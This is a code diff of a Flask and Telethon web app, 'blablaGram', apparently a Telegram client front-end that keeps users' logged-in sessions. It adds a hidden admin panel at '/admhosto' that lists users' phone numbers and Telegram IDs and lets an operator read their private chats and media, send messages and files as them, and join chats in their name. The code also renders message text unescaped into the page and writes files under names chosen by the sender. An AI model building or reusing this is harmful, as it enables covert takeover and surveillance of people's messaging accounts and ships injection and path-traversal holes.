+ if (result.messages.length < messagesPerPage || !result.has_more) {
441
+ loadMoreBtn.style.display = 'none';
 
442
  } else {
443
+ loadMoreBtn.style.display = 'block';
444
+ loadMoreBtn.textContent = 'Load Older Messages';
445
+ loadMoreBtn.disabled = false;
446
+ }
447
+
448
+ if (!isLoadMore) {
449
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
450
  }
451
  } else {
452
+ messagesContainer.innerHTML += `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
453
+ loadMoreBtn.style.display = 'none';
454
  }
455
  }
456
 
457
+ function loadMoreMessages() {
458
+ if (currentChatId && oldestMessageId) {
459
+ fetchMessages(currentChatId, true);
460
  }
461
  }
462
 
 
494
  });
495
  const result = await response.json();
496
  if (result.success) {
497
+ await fetchMessages(currentChatId, false);
498
  } else {
499
  alert('Failed to send message: ' + result.message);
500
  messageInput.value = message;
 
515
  formData.append('file', file);
516
  formData.append('caption', caption);
517
 
518
+ messageInput.value = '';
519
+ fileInput.value = '';
520
  adjustTextareaHeight();
521
 
522
  const messagesContainer = document.getElementById('messagesContainer');
523
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML;
524
 
525
  const response = await fetch('/api/send_file', {
526
  method: 'POST',
 
528
  });
529
  const result = await response.json();
530
  if (result.success) {
531
+ await fetchMessages(currentChatId, false);
532
  } else {
533
  alert('Failed to send file: ' + result.message);
534
  }
 
583
  <title>blablaGram - Admin Panel</title>
584
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
585
  <style>
586
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
587
+ .container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
588
+ h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 30px; font-weight: 700; letter-spacing: -0.5px; }
589
+ table { width: 100%; border-collapse: collapse; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.05); }
590
+ th, td { padding: 18px; border: 1px solid #E0E0E0; text-align: left; }
591
+ th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 1em; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
592
  tr:nth-child(even) { background: #FDFDFD; }
593
  tr:hover { background: #E6F3FC; }
594
+ a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
595
  a:hover { text-decoration: underline; }
596
+ .back-button { margin-top: 40px; text-align: center; }
597
+ .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
598
+ .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
 
599
  @media (max-width: 768px) {
600
  body { padding: 15px; }
601
+ .container { padding: 25px; }
602
+ table, th, td { display: block; width: 100%; }
603
+ thead { display: none; }
604
+ tr { margin-bottom: 15px; border: 1px solid #E0E0E0; border-radius: 10px; overflow: hidden; }
605
+ td { text-align: right; padding-left: 50%; position: relative; }
606
+ td::before { content: attr(data-label); position: absolute; left: 0; width: 45%; padding-left: 15px; font-weight: 600; text-align: left; }
607
  }
608
  </style>
609
  </head>
 
618
  <tbody>
619
  {% for user in users %}
620
  <tr>
621
+ <td data-label="ID">{{ user[0] }}</td>
622
+ <td data-label="Telegram ID">{{ user[1] }}</td>
623
+ <td data-label="Username">{{ user[2] }}</td>
624
+ <td data-label="Phone">{{ user[3] }}</td>
625
+ <td data-label="Actions">
626
  <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
627
  </td>
628
  </tr>
 
646
  <title>Manage: {{ user.username or user.phone }}</title>
647
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
648
  <style>
649
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
650
+ .container { max-width: 1300px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
651
+ h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px; }
652
+ .user-info { text-align: center; margin-bottom: 35px; font-size: 1.15em; color: #666; font-weight: 500; }
653
+ .split-panel { display: flex; gap: 30px; margin-top: 30px; flex-wrap: wrap; }
654
+ .split-panel > div { flex: 1; min-width: 300px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
655
+ h2 { margin-top: 0; font-size: 1.4em; font-weight: 600; color: #333; margin-bottom: 20px; text-align: left; }
656
+ input[type="text"], textarea { width: calc(100% - 24px); padding: 14px; margin: 10px 0; border: 1px solid #DDD; border-radius: 10px; background: #FFF; font-size: 1em; transition: border-color 0.3s, box-shadow 0.3s; }
657
+ input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
658
+ textarea { resize: vertical; min-height: 90px; }
659
+ button { background: #2AABEE; color: #fff; padding: 13px 22px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.05em; font-weight: bold; margin-top: 18px; width: 100%; transition: background 0.3s ease, transform 0.2s ease; box-shadow: 0 3px 8px rgba(0,0,0,0.1); }
660
+ button:hover { background: #1C91D0; transform: translateY(-1px); }
661
+ button:active { transform: translateY(0); }
662
+ button.green-btn { background: #28A745; }
663
+ button.green-btn:hover { background: #218838; }
664
+ .chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDD; border-radius: 10px; background: #FFF; box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
665
+ .chat-item { padding: 16px 20px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
666
  .chat-item:hover, .chat-item.active { background: #E6F3FC; }
667
  .chat-item:last-child { border-bottom: none; }
668
+ .chat-item h3 { margin: 0; font-size: 1.1em; color: #1C1C1C; font-weight: 600; }
669
+ .chat-item p { margin: 6px 0 0; font-size: 0.9em; color: #666; }
670
+ .message-viewer { margin-top: 35px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
671
+ .messages-container { max-height: 550px; overflow-y: auto; padding: 20px; border: 1px solid #DDD; border-radius: 10px; background: #FFF; margin-top: 20px; display: flex; flex-direction: column-reverse; box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
672
+ .load-more-button { padding: 10px 15px; background: #6C757D; color: white; border: none; border-radius: 8px; cursor: pointer; margin-top: 10px; align-self: center; font-size: 0.9em; transition: background 0.2s; }
673
+ .load-more-button:hover { background: #5A6268; }
674
+ .message-item { max-width: 80%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
675
+ .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
676
+ .message-item.received { background: #F1F0F0; align-self: flex-start; border-bottom-left-radius: 6px; }
677
+ .message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
678
+ .message-text { color: #111; }
679
+ .message-meta { font-size: 0.75em; color: #999; margin-top: 5px; text-align: right; }
680
+ .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; }
681
+ .media-link:hover { text-decoration: underline; }
682
+ .back-button { margin-top: 40px; text-align: center; }
683
+ .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
684
+ .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
685
+ .clear-chat-selection { text-align: center; margin-top: 20px; }
686
+ .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; font-size: 1em; }
687
+ .clear-chat-selection button:hover { background: #5A6268; }
 
 
 
688
 
689
  @media (max-width: 768px) {
690
  body { padding: 15px; }
691
+ .container { padding: 25px; }
 
 
692
  .split-panel { flex-direction: column; gap: 20px; }
693
+ .split-panel > div { min-width: unset; padding: 20px; }
694
+ h1, h2 { margin-bottom: 20px; }
695
+ .user-info { margin-bottom: 25px; font-size: 1em; }
696
+ .chat-list, .messages-container { max-height: 350px; }
697
+ input[type="text"], textarea, button { padding: 12px; font-size: 0.95em; }
698
+ button { margin-top: 15px; }
699
  }
700
  </style>
701
  </head>
 
711
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
712
  <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
713
  <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
714
+ <button onclick="document.getElementById('sendFileInput').click()" class="green-btn">Send File</button>
715
 
716
+ <h2 style="margin-top: 35px;">Join Chat</h2>
717
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
718
  <button onclick="joinChat({{ user.id }})">Join Chat</button>
719
  </div>
 
727
  <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
728
  </div>
729
  {% else %}
730
+ <p style="padding: 15px; text-align: center; color: #777;">No chats found.</p>
731
  {% endfor %}
732
  </div>
733
  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
 
737
  <div class="message-viewer" id="messageViewer" style="display:none;">
738
  <h2 id="messagesChatTitle"></h2>
739
  <div class="messages-container" id="messagesContainer">
740
+ <button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin({{ user.id }})">Load Older Messages</button>
741
  </div>
742
  </div>
743
 
744
  <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
745
  </div>
746
  <script>
747
+ let oldestMessageIdAdmin = null;
748
+ const messagesPerPageAdmin = {{ MESSAGES_PER_PAGE }};
 
 
749
 
750
  function clearChatSelection() {
751
  document.getElementById('messageViewer').style.display = 'none';
752
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
753
+ oldestMessageIdAdmin = null;
 
 
754
  }
755
 
756
+ async function selectChat(userId, chatId, chatTitle) {
757
+ document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
758
+ document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
759
 
760
+ document.getElementById('messageViewer').style.display = 'block';
761
+ document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
762
+ oldestMessageIdAdmin = null; // Reset oldest message ID for new chat
763
+ await fetchMessagesAdmin(userId, chatId, false);
 
764
  }
765
 
766
+ async function fetchMessagesAdmin(userId, chatId, isLoadMore) {
767
  const messagesContainer = document.getElementById('messagesContainer');
768
+ const loadMoreBtn = document.getElementById('loadMoreMessagesAdmin');
 
769
 
770
+ if (!isLoadMore) {
771
+ messagesContainer.innerHTML = '<button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin(' + userId + ')">Load Older Messages</button><p style="text-align: center; color: #777;">Loading...</p>';
772
+ oldestMessageIdAdmin = null;
773
+ loadMoreBtn.style.display = 'none';
774
  } else {
775
+ loadMoreBtn.textContent = 'Loading...';
776
+ loadMoreBtn.disabled = true;
777
+ }
778
+
779
+ let url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${messagesPerPageAdmin}`;
780
+ if (oldestMessageIdAdmin) {
781
+ url += `&max_id=${oldestMessageIdAdmin}`;
782
  }
783
 
784
  const response = await fetch(url);
785
  const result = await response.json();
786
+
787
+ if (!isLoadMore) {
788
+ messagesContainer.innerHTML = '<button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin(' + userId + ')">Load Older Messages</button>';
789
+ }
790
 
791
  if (result.success && result.messages) {
792
+ result.messages.reverse().forEach(msg => {
793
+ const messageItem = document.createElement('div');
794
+ messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
795
+ let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
796
+ let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
797
+ let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
798
+ let metaHtml = `<div class="message-meta">${msg.date}</div>`;
799
+ let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
800
+
801
+ messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
802
+ messagesContainer.appendChild(messageItem);
803
+ });
804
 
 
 
805
  if (result.messages.length > 0) {
806
+ oldestMessageIdAdmin = result.messages[0].id;
807
  }
808
+
809
+ if (result.messages.length < messagesPerPageAdmin || !result.has_more) {
810
+ loadMoreBtn.style.display = 'none';
 
811
  } else {
812
+ loadMoreBtn.style.display = 'block';
813
+ loadMoreBtn.textContent = 'Load Older Messages';
814
+ loadMoreBtn.disabled = false;
815
  }
816
+
817
+ if (!isLoadMore) {
818
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
819
+ }
820
+
821
  } else {
822
+ messagesContainer.innerHTML += `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
823
+ loadMoreBtn.style.display = 'none';
824
  }
825
  }
826
 
827
+ function loadMoreMessagesAdmin(userId) {
828
+ const selectedChatId = document.querySelector('.chat-item.active')?.dataset.id;
829
+ if (userId && selectedChatId && oldestMessageIdAdmin) {
830
+ fetchMessagesAdmin(userId, selectedChatId, true);
831
  }
832
  }
833
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
834
  async function sendMessage(userId) {
835
  const chatId = document.getElementById('sendMessageRecipient').value;
836
  const message = document.getElementById('sendMessageContent').value;
 
1010
  def blabla_gram_app():
1011
  if 'user_id' not in session:
1012
  return redirect(url_for('index'))
1013
+ return render_template_string(BLABLAGRAM_APP_TEMPLATE, MESSAGES_PER_PAGE=MESSAGES_PER_PAGE)
1014
 
1015
  @app.route('/api/user_chats')
1016
  def api_user_chats():
 
1074
  user_id = session.get('user_id')
1075
  if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1076
 
1077
+ limit = int(request.args.get('limit', MESSAGES_PER_PAGE))
1078
+ max_id = request.args.get('max_id')
1079
+ if max_id:
1080
+ max_id = int(max_id)
1081
 
1082
  async def _get_messages_async():
1083
  client, error = await get_user_client(user_id)
1084
+ if error: return None, error
1085
 
1086
  messages = []
1087
+ has_more = True
1088
  try:
1089
  entity = await client.get_entity(peer_id)
1090
+ fetched_count = 0
1091
+ async for message in client.iter_messages(entity, limit=limit + 1, max_id=max_id):
1092
+ if fetched_count >= limit:
1093
+ has_more = True
1094
+ break
1095
+
1096
  msg_data = {
1097
  'id': message.id,
1098
  'text': message.text,
1099
  'date': message.date.strftime("%b %d, %H:%M"),
1100
  'is_sent': message.out,
1101
+ 'sender_name': 'Unknown'
 
 
 
1102
  }
1103
  if message.sender:
1104
  if isinstance(message.sender, User):
 
1109
  msg_data['sender_name'] = str(message.sender.id)
1110
 
1111
  if message.media:
 
 
 
 
1112
  try:
1113
+ file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '')
1114
+ if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
1115
+ for attr in message.media.document.attributes:
1116
+ if hasattr(attr, 'file_name'):
1117
+ file_name = attr.file_name
1118
+ break
1119
+ elif hasattr(message.media, 'photo'):
1120
+ file_name = f"photo_{message.id}.jpg"
 
 
 
 
 
1121
 
1122
+ full_download_path = Path(DOWNLOAD_DIR) / file_name
1123
+ if not full_download_path.exists(): # Only download if not exists
1124
+ file_info = await client.download_media(message, file=full_download_path)
1125
+ if file_info:
1126
+ file_path = Path(file_info)
1127
+ msg_data['file_name'] = file_path.name
1128
+ file_size = os.path.getsize(file_path)
1129
+ msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1130
+ else:
1131
+ msg_data['file_name'] = "File not available"
1132
+ else:
1133
+ msg_data['file_name'] = full_download_path.name
1134
+ file_size = os.path.getsize(full_download_path)
1135
+ msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1136
 
 
 
 
 
 
 
 
 
 
 
 
 
1137
  except Exception as media_e:
1138
+ msg_data['file_name'] = f"Download failed: {media_e}"
 
 
 
 
 
1139
  messages.append(msg_data)
1140
+ fetched_count += 1
1141
+
1142
+ if fetched_count <= limit: # If we fetched <= limit, it means there are no more messages (or exactly limit, but no +1)
1143
+ has_more = False
1144
+
1145
  except Exception as e:
1146
  return None, str(e), False
1147
  finally:
 
1242
 
1243
  @app.route('/download/<path:filename>')
1244
  def download_file(filename):
1245
+ return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=True)
1246
 
1247
  @app.route('/admhosto')
1248
  def admhosto_index():
 
1284
 
1285
  chats, error = asyncio.run(_get_chats_async())
1286
  if error: return f"Failed to load chats: {error}", 500
1287
+ return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']), MESSAGES_PER_PAGE=MESSAGES_PER_PAGE)
1288
 
1289
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1290
  def admhosto_get_chat_messages(user_id, peer_id):
1291
+ limit = int(request.args.get('limit', MESSAGES_PER_PAGE))
1292
+ max_id = request.args.get('max_id')
1293
+ if max_id:
1294
+ max_id = int(max_id)
1295
 
1296
  async def _get_messages_async():
1297
  client, error = await get_user_client(user_id)
1298
  if error: return None, error, False
1299
  messages = []
1300
+ has_more = True
1301
  try:
1302
  entity = await client.get_entity(peer_id)
1303
+ fetched_count = 0
1304
+ async for message in client.iter_messages(entity, limit=limit + 1, max_id=max_id):
1305
+ if fetched_count >= limit:
1306
+ has_more = True
1307
+ break
1308
 
 
1309
  msg_data = {
1310
  'id': message.id,
1311
  'text': message.text,
1312
  'date': message.date.strftime("%b %d, %H:%M"),
1313
  'is_sent': message.out,
1314
+ 'sender_name': 'Unknown'
 
 
 
1315
  }
1316
  if message.sender:
1317
  if isinstance(message.sender, User):
 
1322
  msg_data['sender_name'] = str(message.sender.id)
1323
 
1324
  if message.media:
 
 
 
 
1325
  try:
1326
+ file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '')
1327
+ if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
1328
+ for attr in message.media.document.attributes:
1329
+ if hasattr(attr, 'file_name'):
1330
+ file_name = attr.file_name
1331
+ break
1332
+ elif hasattr(message.media, 'photo'):
1333
+ file_name = f"photo_{message.id}.jpg"
 
 
 
 
 
1334
 
1335
+ full_download_path = Path(DOWNLOAD_DIR) / file_name
1336
+ if not full_download_path.exists():
1337
+ file_info = await client.download_media(message, file=full_download_path)
1338
+ if file_info:
1339
+ file_path = Path(file_info)
1340
+ msg_data['file_name'] = file_path.name
1341
+ file_size = os.path.getsize(file_path)
1342
+ msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1343
+ else:
1344
+ msg_data['file_name'] = "File not available"
1345
+ else:
1346
+ msg_data['file_name'] = full_download_path.name
1347
+ file_size = os.path.getsize(full_download_path)
1348
+ msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
 
 
 
 
1349
  except Exception as media_e:
1350
+ msg_data['file_name'] = f"Download failed: {media_e}"
 
 
 
 
 
1351
  messages.append(msg_data)
1352
+ fetched_count += 1
1353
+
1354
+ if fetched_count <= limit:
1355
+ has_more = False
1356
+
1357
  except Exception as e:
1358
  return None, str(e), False
1359
  finally: